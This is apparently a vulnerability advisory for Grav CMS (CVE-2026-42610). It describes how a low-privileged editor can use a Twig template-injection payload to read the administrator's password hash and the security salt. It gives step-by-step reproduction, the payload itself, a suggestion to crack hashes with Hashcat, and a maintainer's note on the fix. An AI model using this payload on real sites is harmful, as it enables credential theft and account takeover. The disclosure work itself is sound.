Grav CMS CVE-2026-42610

Summary

Information disclosure exists in Grav CMS v1.8.0-beta.29. Despite previous security patches (notably in v1.8.0-beta.27/28) aimed at restricting sensitive object access within the Twig environment, the Accounts Service remains exposed.

A low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt.

Affected version

Grav CMS: v1.8.0-beta.29 (and earlier 1.8.x beta versions).

Note: This vulnerability persists even after the vendor attempted to mitigate similar SSTI vectors in earlier beta releases.

Steps to Reproduce

1. Create a low-privileged account (MY CASE IS 'editor_chen') with permissions limited to admin.login and basic page management (create, update, list). Ensure all administrative permissions (Configuration, User Accounts, ...) are explicitly Denied.
2. Login to the Admin panel using editor_chen. Navigate to Pages and edit the Home page.
3. Under the Advanced tab, ensure Process Twig is enabled .
4. In the Content tab, inject the following Twig payload designed to bypass the isDangerousFunction filter by accessing the internal service container:

---
title: Information Disclosure Test
process:
    twig: true
---
# Security Audit Results
- Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }}
- Security Salt: {{ grav.config.get('security.salt') }}

<img width="1176" height="618" alt="GRAV" src="https://github.com/user-attachments/assets/7970216a-2dc6-4d1b-8dfd-b64f3712c9c5" />

1. Click Save. And navigate to the public page (http://localhost:8000/home). Page will render and display the administrator's Bcrypt hash and the system security salt.

<img width="1278" height="462" alt="GRAV2" src="https://github.com/user-attachments/assets/33b7b894-6ae3-4d29-bd2d-8004e9b343e0" />

PoC

---
title: Information Disclosure Test
process:
    twig: true
---
# Security Audit Results
- Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }}
- Security Salt: {{ grav.config.get('security.salt') }}

Impact

Attackers can obtain the password hashes of all registered users, including Super Administrators.

Extracted hashes can be subjected to offline brute-force or dictionary attacks (EX: USE Hashcat)

Video

Pls refer to the attached video <video src="https://github.com/user-attachments/assets/74d5ae41-7911-4099-b2cc-e6c51b27c68c" controls="controls" style="max-width: 100%;"> </video>

---

Maintainer note - fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit d904efc33 - will ship in 2.0.0-beta.2.

What changed: the HMAC key formerly stored as security.salt in user/config/security.yaml has moved out of the Config tree into user/config/security-private.php. On upgrade, the existing salt value is migrated into the new file on first request (preserving CSRF nonces and sessions) and the key is scrubbed from both the live Config object and the on-disk YAML - so {{ grav.config.get('security.salt') }} from a sandboxed Twig template now returns null. The .php extension is blocked from web access by the default user/*.php htaccess rule; the file contains only a return statement, so direct PHP exec produces no output either.

The PoC's password-hash half (grav['accounts'].load('admin').get('hashed_password')) was already covered by the new Twig content sandbox in 2.0.0-beta.2 - UserCollection::load is not in the sandbox allowlist - see the separate GHSA-58hj-46fw-rcfm advisory.

Files:

• system/src/Grav/Common/Security.php - new Security::getNonceKey() + migration.
• system/src/Grav/Common/Utils.php - generateNonceString now uses the new key.
• system/src/Grav/Common/Service/SessionServiceProvider.php.
• system/src/Grav/Common/Config/Setup.php - removed auto-gen of security.salt.
• system/config/security.yaml - removed placeholder salt:.
• tests/unit/Grav/Common/Security/NonceKeySecurityTest.php - migration + generation coverage.